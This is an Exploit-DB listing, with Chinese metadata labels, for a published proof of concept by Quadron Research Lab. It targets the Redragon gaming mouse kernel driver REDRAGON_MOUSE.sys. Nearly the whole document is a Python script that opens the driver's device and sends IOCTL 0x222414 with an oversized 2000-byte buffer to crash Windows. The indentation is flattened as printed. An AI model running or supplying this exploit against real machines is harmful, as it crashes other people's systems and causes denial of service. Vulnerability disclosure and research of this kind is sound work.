Redragon Gaming Mouse – ‘REDRAGON_MOUSE.sys’ Denial of Service (PoC)

  • 作者: Quadron Research Lab
    日期: 2021-09-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50322/
  • # Exploit Title: Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial of Service (PoC)
    # Date: 27/08/2021	
    # Exploit Author: Quadron Research Lab			
    # Version: all version		
    # Tested on: Windows 10 x64 HUN/ENG Professional
    # Vendor: https://www.redragonzone.com/pages/download
    # Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/REDRAGON_MOUSE
    
    
    import ctypes, sys
    from ctypes import *
    import io
    from itertools import product
    from sys import argv
    
    devicename = "REDRAGON_MOUSE"
    
    ioctl = 0x222414
    
    kernel32 = windll.kernel32
    hevDevice = kernel32.CreateFileA("\\\\.\\GLOBALROOT\\Device\REDRAGON_MOUSE", 0xC0000000, 0, None, 0x3, 0, None) 
    
    if not hevDevice or hevDevice == -1:
    print ("Not Win! Sorry!")
    
    else:
    print ("OPENED!")
    
    buf = '\x44' * 1000 + '\x00' * 1000
    bufLength = 2000
    
    kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)